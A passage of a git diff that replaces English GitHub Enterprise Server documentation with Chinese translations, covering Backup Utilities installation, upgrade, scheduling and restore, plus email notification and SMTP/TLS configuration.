仓库磁盘使用情况以及预计的增长情况而异: -| Hardware | Recommendation | +| 硬件 | 建议 | | -------- | --------- | -| **vCPUs** | 2 | -| **Memory** | 2 GB | -| **Storage** | Five times the primary instance's allocated storage | +| **vCPU** | 2 | +| **内存** | 2 GB | +| **存储** | 等于为主要实例分配的存储空间的五倍 | -More resources may be required depending on your usage, such as user activity and selected integrations. +根据您的使用情况(例如用户活动和选定的集成),可能需要更多资源。 -For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %} requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. +有关详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的 [{% data variables.product.prodname_enterprise_backup_utilities %} 要求](https://github.com/github/backup-utils/blob/master/docs/requirements.md)。 -## Installing {% data variables.product.prodname_enterprise_backup_utilities %} +## 安装 {% data variables.product.prodname_enterprise_backup_utilities %} -To install {% data variables.product.prodname_enterprise_backup_utilities %} on your backup host, we recommend cloning the project's Git repository. This approach allows you to fetch new releases directly using Git, and your existing backup configuration file, `backup.config`, will be preserved when installing a new version. +若要在备份主机上安装 {% data variables.product.prodname_enterprise_backup_utilities %},建议克隆项目的 Git 存储库。 使用此方法可以直接使用 Git 提取新版本,并且会在安装新版本时保留现有备份配置文件 `backup.config`。 -Alternatively, if the host machine can't access the internet, you can download each {% data variables.product.prodname_enterprise_backup_utilities %} release as a compressed archive, then extract and install the contents. For more information, see [Getting started](https://github.com/github/backup-utils/blob/master/docs/getting-started.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. +或者,如果主机无法访问 Internet,你可以将每个 {% data variables.product.prodname_enterprise_backup_utilities %} 版本下载为压缩存档,然后解压缩并安装这些内容。 有关详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的[入门指南](https://github.com/github/backup-utils/blob/master/docs/getting-started.md)。 -Backup snapshots are written to the disk path set by the `GHE_DATA_DIR` data directory variable in your `backup.config` file. Snapshots need to be stored on a filesystem which supports symbolic and hard links. +备份快照会写入通过 `backup.config` 文件中的 `GHE_DATA_DIR` 数据目录变量设置的磁盘路径。 快照需要存储在支持符号链接和硬链接的文件系统上。 {% note %} -**Note:** We recommend ensuring your snapshots are not kept in a subdirectory of the {% data variables.product.prodname_enterprise_backup_utilities %} installation directory, to avoid inadvertently overwriting your data directory when upgrading {% data variables.product.prodname_enterprise_backup_utilities %} versions. +注意:建议确保快照未保存在 {% data variables.product.prodname_enterprise_backup_utilities %} 安装目录的子目录中,以避免在升级 {% data variables.product.prodname_enterprise_backup_utilities %} 版本时意外覆盖数据目录。 {% endnote %} -1. To clone the [{% data variables.product.prodname_enterprise_backup_utilities %} project repository](https://github.com/github/backup-utils/) to a local directory on your backup host, run the following command. +1. 若要将 [{% data variables.product.prodname_enterprise_backup_utilities %} 项目存储库](https://github.com/github/backup-utils/)克隆到备份主机上的本地目录,请运行以下命令。 ``` $ git clone https://github.com/github/backup-utils.git /path/to/target/directory/backup-utils ``` -1. To change into the local repository directory, run the following command. +1. 若要更改为本地存储库目录,请运行以下命令。 ``` cd backup-utils ``` {% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %} -1. To copy the included `backup.config-example` file to `backup.config`, run the following command. +1. 若要将包含的 `backup.config-example` 文件复制到 `backup.config`,请运行以下命令。 ```shell cp backup.config-example backup.config ``` -1. To customize your configuration, edit `backup.config` in a text editor. - 1. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address. +1. 若要自定义配置,请在文本编辑器中编辑 `backup.config`。 + 1. 将 `GHE_HOSTNAME` 值设置为主要 {% data variables.product.prodname_ghe_server %} 实例的主机名或 IP 地址。 {% note %} - **Note:** If {% data variables.location.product_location %} is deployed as a cluster or in a high availability configuration using a load balancer, the `GHE_HOSTNAME` can be the load balancer hostname, as long as it allows SSH access (on port 122) to {% data variables.location.product_location %}. + 注意:如果使用负载均衡器将 {% data variables.product.product_location %} 部署为群集或部署在高可用性配置中,则 `GHE_HOSTNAME` 可以是负载均衡器主机名,只要它允许对 {% data variables.product.product_location %} 进行 SSH 访问(在端口 122 上)。 - To ensure a recovered appliance is immediately available, perform backups targeting the primary instance even in a geo-replication configuration. + 为确保恢复的设备立即可用,即使在异地复制配置中也应针对主实例执行备份。 {% endnote %} - 1. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots. We recommend choosing a location on the same filesystem as your backup host, but outside of where you cloned the Git repository in step 1. -1. To grant your backup host access to your instance, open your primary instance's settings page at `http(s)://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh)." -1. On your backup host, verify SSH connectivity with {% data variables.location.product_location %} with the `ghe-host-check` command. + 1. 将 `GHE_DATA_DIR` 值设置为要存储备份快照的文件系统位置。 建议在备份主机所在的同一文件系统上选择一个位置,但在步骤 1 中克隆 Git 存储库的位置除外。 +1. 若要授予备份主机对实例的访问权限,请在 `http(s)://HOSTNAME/setup/settings` 上打开主实例的设置页,并将备份主机的 SSH 密钥添加到授权的 SSH 密钥列表中。 有关详细信息,请参阅“[访问管理 shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh)”。 +1. 在备份主机上,使用 `ghe-host-check` 命令验证与 {% data variables.product.product_location %} 的 SSH 连接。 ```shell ./bin/ghe-host-check - ``` -1. To create an initial full backup, run the following command. + ``` +1. 若要创建初始完整备份,请运行以下命令。 ```shell ./bin/ghe-backup ``` -For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. +有关高级使用情况的更多详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的 [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme)。 -## Upgrading {% data variables.product.prodname_enterprise_backup_utilities %} +## 升级 {% data variables.product.prodname_enterprise_backup_utilities %} -When upgrading {% data variables.product.prodname_enterprise_backup_utilities %}, you must choose a release that will work with your current version of {% data variables.product.product_name %}. Your installation of {% data variables.product.prodname_enterprise_backup_utilities %} must be at least the same version as {% data variables.location.product_location %}, and cannot be more than two versions ahead. For more information, see [{% data variables.product.prodname_ghe_server %} version requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md#github-enterprise-server-version-requirements) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. -You can upgrade {% data variables.product.prodname_enterprise_backup_utilities %} in a Git repository by fetching and checking out the latest changes. +升级 {% data variables.product.prodname_enterprise_backup_utilities %} 时,必须选择适用于当前版本的 {% data variables.product.product_name %} 的版本。 安装的 {% data variables.product.prodname_enterprise_backup_utilities %} 的版本必须至少与 {% data variables.product.product_location %} 的版本相同,并且不能低于两个版本。 有关详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的 [{% data variables.product.prodname_ghe_server %} 要求](https://github.com/github/backup-utils/blob/master/docs/requirements.md#github-enterprise-server-version-requirements)。 +可以通过提取和签出最新更改来升级 Git 存储库中的 {% data variables.product.prodname_enterprise_backup_utilities %}。 -Alternatively, if you don't use a Git repository for your installation, you can extract a new archive into place, or you can change your approach to use a Git repository instead. +或者,如果不使用 Git 存储库进行安装,则可以将新存档提取到适当位置,也可以更改方法,改为使用 Git 存储库。 -### Verifying the installation type +### 验证安装类型 -You can verify the installation method for {% data variables.product.prodname_enterprise_backup_utilities %} and determine the best way to upgrade your installation. +可以验证 {% data variables.product.prodname_enterprise_backup_utilities %} 的安装方法,并确定升级安装的最佳方法。 {% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} -1. To check if a valid working directory exists inside a Git repository, run the following command. +1. 若要检查 Git 存储库中是否存在有效的工作目录,请运行以下命令。 ``` git rev-parse --is-inside-work-tree ``` - If the output is `true`, {% data variables.product.prodname_enterprise_backup_utilities %} was installed by cloning the project's Git repository. If the output includes `fatal: not a git repository (or any of the parent directories)`, {% data variables.product.prodname_enterprise_backup_utilities %} was likely installed by extracting a compressed archive file. -If your installation is in a Git repository, you can install the latest version using Git. If the installation is from a compressed archive file, you can either download and extract the latest version, or you can reinstall {% data variables.product.prodname_enterprise_backup_utilities %} using Git to simplify future upgrades. + 如果输出为 `true`,则已通过克隆项目的 Git 存储库安装 {% data variables.product.prodname_enterprise_backup_utilities %}。 如果输出包含 `fatal: not a git repository (or any of the parent directories)`,则可能已通过提取压缩存储文件安装 {% data variables.product.prodname_enterprise_backup_utilities %}。 +如果在 Git 存储库中进行安装,则可以使用 Git 安装最新版本。 如果从压缩存档文件进行安装,则可以下载并提取最新版本,也可以使用 Git 重新安装 {% data variables.product.prodname_enterprise_backup_utilities %} 以简化未来的升级。 -- [Upgrading an installation in a Git repository](#upgrading-an-installation-in-a-git-repository) -- [Using Git instead of compressed archives for upgrades](#using-git-instead-of-compressed-archives-for-upgrades) +- [升级 Git 存储库中的安装](#upgrading-an-installation-in-a-git-repository) +- [使用 Git 而不是压缩存档进行升级](#using-git-instead-of-compressed-archives-for-upgrades) -### Upgrading an installation in a Git repository +### 升级 Git 存储库中的安装 -{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} - {% note %} +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} {% note %} - **Note:** We recommend creating a copy of your existing `backup.config` file in a temporary location, like `$HOME/backup.config`, before upgrading {% data variables.product.prodname_enterprise_backup_utilities %}. + 注意:建议在升级 {% data variables.product.prodname_enterprise_backup_utilities %} 之前在临时位置(如 `$HOME/backup.config`)创建现有 `backup.config` 文件的副本。 {% endnote %} -1. Download the latest project updates by running the `git fetch` command. +1. 通过运行 `git fetch` 命令下载最新的项目更新。 ```shell git fetch ``` -{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %} -{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-verify-upgrade %} +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %} {% data reusables.enterprise_backup_utilities.enterprise-backup-utils-verify-upgrade %} -### Using Git instead of compressed archives for upgrades +### 使用 Git 而不是压缩存档进行升级 -If your backup host has internet connectivity and you previously used a compressed archive (`.tar.gz`) to install or upgrade {% data variables.product.prodname_enterprise_backup_utilities %}, we recommend using a Git repository for your installation instead. Upgrading using Git requires less work and preserves your backup configuration. +如果备份主机具有 Internet 连接,并且你之前使用了压缩存档 (`.tar.gz`) 来安装或升级 {% data variables.product.prodname_enterprise_backup_utilities %},建议改用 Git 存储库进行安装。 使用 Git 进行升级需要执行的工作量更少,并可保留备份配置。 {% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} -1. To back up your existing {% data variables.product.prodname_enterprise_backup_utilities %} configuration, copy your current `backup.config` file to a safe location, such as your home directory. +1. 若要备份现有 {% data variables.product.prodname_enterprise_backup_utilities %} 配置,请将当前 `backup.config` 文件复制到安全位置,例如主目录。 ``` $ cp backup.config $HOME/backup.config.saved-$(date +%Y%m%d-%H%M%S) ``` -1. Change to the local directory on your backup host where you want to install the {% data variables.product.prodname_enterprise_backup_utilities %} Git repository. -1. To clone the [project repository](https://github.com/github/backup-utils/) to the directory on your backup host, run the following command. +1. 更改为备份主机上要安装 {% data variables.product.prodname_enterprise_backup_utilities %} Git 存储库的本地目录。 +1. 若要将[项目存储库](https://github.com/github/backup-utils/)克隆到备份主机上的目录,请运行以下命令。 ``` git clone https://github.com/github/backup-utils.git ``` -1. To change into the cloned repository, run the following command. +1. 若要更改为克隆的存储库,请运行以下命令。 ``` cd backup-utils ``` {% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %} -1. To restore your backup configuration from earlier, copy your existing backup configuration file to the local repository directory. Replace the path in the command with the location of the file saved in step 2. +1. 若要还原之前的备份配置,请将现有备份配置文件复制到本地存储库目录。 将命令中的路径替换为步骤 2 中保存的文件的位置。 ``` $ cp PATH/TO/BACKUP/FROM/STEP/2 backup.config @@ -182,44 +186,44 @@ If your backup host has internet connectivity and you previously used a compress {% note %} - **Note:** You can choose where to restore your backup configuration file to after cloning. For more information about where configuration files can be located, see [Getting started](https://github.com/github/backup-utils/blob/master/docs/getting-started.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + 注意:可以选择在克隆后将备份配置文件还原到的位置。 有关可放置配置文件的位置的详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的[入门指南](https://github.com/github/backup-utils/blob/master/docs/getting-started.md)。 {% endnote %} -1. To confirm that the paths to directories or scripts in your backup configuration file are correct, review the file in a text editor. +1. 若要确认指向备份配置文件中目录或脚本的路径是否正确,请查看文本编辑器中的文件。 {% data reusables.enterprise_backup_utilities.enterprise-backup-utils-verify-upgrade %} -1. Delete your old GitHub Enterprise Server Backup Utilities directory from step 1 (where the compressed archive installation was located). +1. 删除步骤 1 中的旧 GitHub Enterprise Server 备份实用程序目录(压缩存档安装所在的位置)。 -## Scheduling a backup +## 排定备份 -You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed. +可以使用 `cron(8)` 命令或类似的命令调度服务在备份主机上调度定期备份。 配置的备份频率将决定您的恢复计划中的最坏情况恢复点目标 (RPO)。 例如,如果您已排定在每天午夜运行备份,则在发生灾难的情况下,可能丢失长达 24 小时的数据。 建议在开始时采用每小时备份日程,从而确保在主要站点数据受到破坏时,最坏情况下最多会丢失一小时的数据。 -If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. +如果备份尝试重叠,`ghe-backup` 命令将以错误消息中止,指示存在同时备份。 如果出现这种情况,建议降低已排定的备份的频率。 有关详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的 [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups) 的“计划备份”部分。 -## Restoring a backup +## 还原备份 -In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.location.product_location %} by provisioning another {% data variables.product.prodname_enterprise %} appliance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} appliance as an authorized SSH key before restoring an appliance. +如果主站点发生长时间故障或灾难性事件,则可以通过预配另一台 {% data variables.product.prodname_enterprise %} 设备并从备份主机执行还原 {% data variables.product.product_location %}。 在还原设备之前,您必须将备份主机的 SSH 密钥作为已授权 SSH 密钥添加到目标 {% data variables.product.prodname_enterprise %} 设备。 {% note %} -**Note:** When performing backup restores to {% data variables.location.product_location %}, the same version supportability rules apply. You can only restore data from at most two feature releases behind. +**注意:** 当执行备份还原到 {% data variables.product.product_location %} 时,同样的版本支持性规则也适用。 您最多只能从后面两个功能版本恢复数据。 -For example, if you take a backup from {% data variables.product.product_name %} 3.0.x, you can restore the backup to a {% data variables.product.product_name %} 3.2.x instance. You cannot restore data from a backup of {% data variables.product.product_name %} 2.22.x to an instance running 3.2.x, because that would be three jumps between versions (2.22 to 3.0 to 3.1 to 3.2). You would first need to restore to an instance running 3.1.x, and then upgrade to 3.2.x. +例如,如果从 {% data variables.product.product_name %} 3.0.x 获取备份,则可以将备份还原到 {% data variables.product.product_name %} 3.2.x 实例。 无法将数据从 {% data variables.product.product_name %} 2.22.x 的备份还原到运行 3.2.x 的实例,因为这样会跨过三个版本(2.22 到 3.0 到 3.1 到 3.2)。 需要先还原到运行 3.1.x 的实例,然后升级到 3.2.x。 {% endnote %} -To restore {% data variables.location.product_location %} from the last successful snapshot, use the `ghe-restore` command. +若要从上次成功快照还原 {% data variables.product.product_location %},请使用 `ghe-restore` 命令。 {% note %} -**Note:** Prior to restoring a backup, ensure: -- Maintenance mode is enabled on the primary instance and all active processes have completed. For more information, see "[Enabling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)." -- Replication is stopped on all replicas in high availability configurations. For more information, see the `ghe-repl-stop` command in "[About high availability configuration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration#ghe-repl-stop)." -- If {% data variables.location.product_location %} has {% data variables.product.prodname_actions %} enabled, you must first configure the {% data variables.product.prodname_actions %} external storage provider on the replacement appliance. For more information, see "[Backing up and restoring {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_actions %} enabled](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)." +注意:还原备份之前,请确保: +- 在主实例上启用了维护模式,并且所有活动进程都已完成。 有关详细信息,请参阅“[启用维护模式](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)”。 +- 在高可用性配置中的所有副本上停止复制。 有关详细信息,请参阅“[关于高可用性配置](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration#ghe-repl-stop)”中的 `ghe-repl-stop` 命令。 +- 如果 {% data variables.product.product_location %} 启用了 {% data variables.product.prodname_actions %},则必须在替换设备上配置 {% data variables.product.prodname_actions %} 外部存储提供程序。 有关详细信息,请参阅“[在启用 {% data variables.product.prodname_actions %} 的情况下备份和还原 {% data variables.product.prodname_ghe_server %}](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)”。 {% endnote %} -When running the `ghe-restore` command, you should see output similar to this: +运行 `ghe-restore` 命令之后,你应该会看到类似于以下内容的输出: ```shell $ ghe-restore -c 169.154.1.1 @@ -238,20 +242,15 @@ $ ghe-restore -c 169.154.1.1 > Visit https://169.154.1.1/setup/settings to review appliance configuration. ``` -{% ifversion ip-exception-list %} -Optionally, to validate the restore, configure an IP exception list to allow access to a specified list of IP addresses. For more information, see "[Validating changes in maintenance mode using the IP exception list](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)." +{% ifversion ip-exception-list %}(可选)若要验证还原,请配置 IP 例外列表以允许访问指定 IP 地址列表。 有关详细信息,请参阅“[使用 IP 异常列表在维护模式下验证更改](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)”。 {% endif %} {% note %} -**Note:** - -- The network settings are excluded from the backup snapshot. You must manually configure the network on the target {% data variables.product.prodname_ghe_server %} appliance as required for your environment. - -- When restoring to new disks on an existing or empty {% data variables.product.prodname_ghe_server %} instance, stale UUIDs may be present, resulting in Git and/or Alambic replication reporting as out of sync. Stale server entry IDs can be the result of a retired node in a high availability configuration still being present in the application database, but not in the restored replication configuration. To remediate, stale UUIDs can be torn down using `ghe-repl-teardown` once the restore has completed and prior to starting replication. In this scenario, contact {% data variables.contact.contact_ent_support %} for further assistance. +**注意:** 网络设置会排除在备份快照之外。 您必须根据环境的要求在目标 {% data variables.product.prodname_ghe_server %} 设备上手动配置网络。 {% endnote %} -You can use these additional options with `ghe-restore` command: -- The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. -- The `-s` flag allows you to select a different backup snapshot. +可以使用 `ghe-restore` 命令使用这些附加选项: +- 即使已配置 `-c` 标志,该标志也会覆盖目标主机上的设置、证书和许可证数据。 如果您要为测试设置暂存实例,并且希望在目标设备上保留现有配置,请省略此标志。 有关详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的 [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands) 的“使用备份和还原命令”部分。 +- `-s` 标志让你能够选择不同的备份快照。 diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md index d91bc49e77..72f5a14cee 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md @@ -1,6 +1,6 @@ --- -title: Configuring email for notifications -intro: 'To make it easy for users to respond quickly to activity on {% data variables.product.product_name %}, you can configure {% data variables.location.product_location %} to send email notifications for issue, pull request, and commit comments.' +title: 配置电子邮件通知 +intro: '为了让用户轻松地快速响应 {% data variables.product.product_name %} 上的活动,您可以配置 {% data variables.product.product_location %} 对议题、拉取请求和提交注释发送电子邮件通知。' redirect_from: - /enterprise/admin/guides/installation/email-configuration - /enterprise/admin/articles/configuring-email @@ -18,109 +18,97 @@ topics: - Infrastructure - Notifications shortTitle: Configure email notifications +ms.openlocfilehash: d50e5dce6c5bdb6acd28f36172b9e8f9c5c09993 +ms.sourcegitcommit: 6a266bff4d8c9ee928560c3af45eddd7fb4f3a0c +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/26/2022 +ms.locfileid: '147410153' --- -{% ifversion ghae %} -Enterprise owners can configure email for notifications. +{% ifversion ghae %} 企业所有者可以配置以电子邮件发送通知。 {% endif %} -## Configuring SMTP for your enterprise +## 为企业配置 SMTP + +{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.email-settings %} +4. 选择“启用电子邮件”。 这将同时启用出站和入站电子邮件,不过,要想入站电子邮件正常运行,还需要按照下文“[配置 DNS 和防火墙设置以允许传入的电子邮件](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)”所述配置 DNS 设置。 +![启用出站电子邮件](/assets/images/enterprise/management-console/enable-outbound-email.png) +5. 键入 SMTP 服务器的设置。 + - 在“服务器地址”字段中,输入 SMTP 服务器的地址。 + - 在“端口”字段中,输入 SMTP 服务器用于发送电子邮件的端口。 + - 在“域”字段中,输入 SMTP 服务器将随 HELO 响应(如有)发送的域名。 + - 在“身份验证”下拉菜单中选择 SMTP 服务器使用的加密类型。 + - 在“无回复电子邮件地址”字段中,输入要在所有通知电子邮件的“发件人”和“收件人”字段中使用的电子邮件地址。 +6. 如果想放弃发送到无回复电子邮件地址的所有传入电子邮件,请选中“放弃发送到无回复电子邮件地址的电子邮件”。 +![用于丢弃发送到无回复电子邮件地址的电子邮件的复选框](/assets/images/enterprise/management-console/discard-noreply-emails.png) +7. 在“支持”下,选择用于向用户提供附加支持的链接类型。 + - **电子邮件**:内部电子邮件地址。 + - **URL**:内部支持站点的链接。 必须包含 `http://` 或 `https://`。 + ![支持电子邮件或 URL](/assets/images/enterprise/management-console/support-email-url.png) +8. [测试电子邮件传递](#testing-email-delivery)。 +{% elsif ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.email-tab %} +2. 选择“启用电子邮件”。 + ![用于电子邮件设置配置的“启用”复选框](/assets/images/enterprise/configuration/ae-enable-email-configure.png) +3. 键入电子邮件服务器的设置。 + - 在“服务器地址”字段中,输入 SMTP 服务器的地址。 + - 在“端口”字段中,输入 SMTP 服务器用于发送电子邮件的端口。 + - 在“域”字段中,输入 SMTP 服务器将随 HELO 响应(如有)发送的域名。 + - 在“身份验证”下拉菜单中选择 SMTP 服务器使用的加密类型。 + - 在“无回复电子邮件地址”字段中,输入要在所有通知电子邮件的“发件人”和“收件人”字段中使用的电子邮件地址。 +4. 如果想放弃发送到无回复电子邮件地址的所有传入电子邮件,请选中“放弃发送到无回复电子邮件地址的电子邮件”。 + ![用于电子邮件设置配置的“放弃”复选框](/assets/images/enterprise/configuration/ae-discard-email.png) +5. 单击“测试电子邮件设置”。 + ![用于邮件设置配置的“测试邮件设置”按钮](/assets/images/enterprise/configuration/ae-test-email.png) +6. 在“发送测试电子邮件到”下,请输入测试电子邮件要发送到的电子邮件地址,然后单击“发送测试电子邮件”。 + ![用于邮件设置配置的“发送测试电子邮件”按钮](/assets/images/enterprise/configuration/ae-send-test-email.png) +7. 单击“ **保存**”。 + ![用于企业支持联系人配置的“保存”按钮](/assets/images/enterprise/configuration/ae-save.png) {% endif %} {% ifversion ghes %} -{% data reusables.enterprise_site_admin_settings.email-settings %} -4. Select **Enable email**. This will enable both outbound and inbound email, however for inbound email to work you will also need to configure your DNS settings as described below in "[Configuring DNS and firewall -settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." -![Enable outbound email](/assets/images/enterprise/management-console/enable-outbound-email.png) -5. Type the settings for your SMTP server. - - In the **Server address** field, type the address of your SMTP server. - - In the **Port** field, type the port that your SMTP server uses to send email. - - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. - - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. - - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. -6. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. -![Checkbox to discard emails addressed to the no-reply email address](/assets/images/enterprise/management-console/discard-noreply-emails.png) -7. Under **Support**, choose a type of link to offer additional support to your users. - - **Email:** An internal email address. - - **URL:** A link to an internal support site. You must include either `http://` or `https://`. - ![Support email or URL](/assets/images/enterprise/management-console/support-email-url.png) -8. [Test email delivery](#testing-email-delivery). -{% elsif ghae %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.email-tab %} -2. Select **Enable email**. - !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png) -3. Type the settings for your email server. - - In the **Server address** field, type the address of your SMTP server. - - In the **Port** field, type the port that your SMTP server uses to send email. - - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. - - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. - - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. -4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. - !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png) -5. Click **Test email settings**. - !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png) -6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**. - !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png) -7. Click **Save**. - !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png) -{% endif %} +## 测试电子邮件递送 -{% ifversion ghes %} -## Testing email delivery - -1. At the top of the **Email** section, click **Test email settings**. -![Test email settings](/assets/images/enterprise/management-console/test-email.png) -2. In the **Send test email to** field, type an address to send the test email to. -![Test email address](/assets/images/enterprise/management-console/test-email-address.png) -3. Click **Send test email**. -![Send test email](/assets/images/enterprise/management-console/test-email-address-send.png) +1. 在“电子邮件”部分的顶部,单击“测试电子邮件设置” 。 +![测试电子邮件设置](/assets/images/enterprise/management-console/test-email.png) +2. 在“发送电子邮件到”字段中,输入用于接收测试电子邮件的地址。 +![测试电子邮件地址](/assets/images/enterprise/management-console/test-email-address.png) +3. 单击“发送测试电子邮件”。 +![发送测试电子邮件](/assets/images/enterprise/management-console/test-email-address-send.png) {% tip %} - **Tip:** If SMTP errors occur while sending a test email—such as an immediate delivery failure or an outgoing mail configuration error—you will see them in the Test email settings dialog box. + 提示:如果在发送测试电子邮件时发生 SMTP 错误(例如即时递送失败或传出邮件配置错误),将在“测试电子邮件设置”对话框中看到这些错误。 {% endtip %} -4. If the test email fails, [troubleshoot your email settings](#troubleshooting-email-delivery). -5. When the test email succeeds, at the bottom of the page, click **Save settings**. -![Save settings button](/assets/images/enterprise/management-console/save-settings.png) -{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} +4. 如果测试电子邮件失败,请[排查电子邮件设置问题](#troubleshooting-email-delivery)。 +5. 当测试电子邮件成功后,在页面的底部单击“保存设置”。 +![“保存设置”按钮](/assets/images/enterprise/management-console/save-settings.png) {% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} {% ifversion require-tls-for-smtp %} -## Enforcing TLS for SMTP connections +## 对 SMTP 连接强制实施 TLS -You can enforce TLS encryption for all incoming SMTP connections, which can help satisfy an ISO-27017 certification requirement. - -{%- ifversion ghes = 3.6 %} -{% note %} - -**Note**: Enforcement of TLS for SMTP connections is unavailable in {% data variables.product.product_name %} 3.6.0 and 3.6.1. The feature is available in 3.6.2 and later. - -{% endnote %} -{%- endif %} +可以对所有传入的 SMTP 连接强制实施 TLS 加密,这有助于满足 ISO-27017 认证要求。 {% data reusables.enterprise_site_admin_settings.email-settings %} -1. Under "Authentication," select **Enforce TLS auth (recommended)**. +1. 在“身份验证”下,选择“强制实施 TLS 身份验证(建议)”。 - ![Screenshot of the "Enforce TLS auth (recommended)" checkbox](/assets/images/enterprise/configuration/enforce-tls-for-smtp-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} -{% endif %} + ![“强制实施 TLS 身份验证(建议)”复选框的屏幕截图](/assets/images/enterprise/configuration/enforce-tls-for-smtp-checkbox.png){% data reusables.enterprise_management_console.save-settings %} {% endif %} -## Configuring DNS and 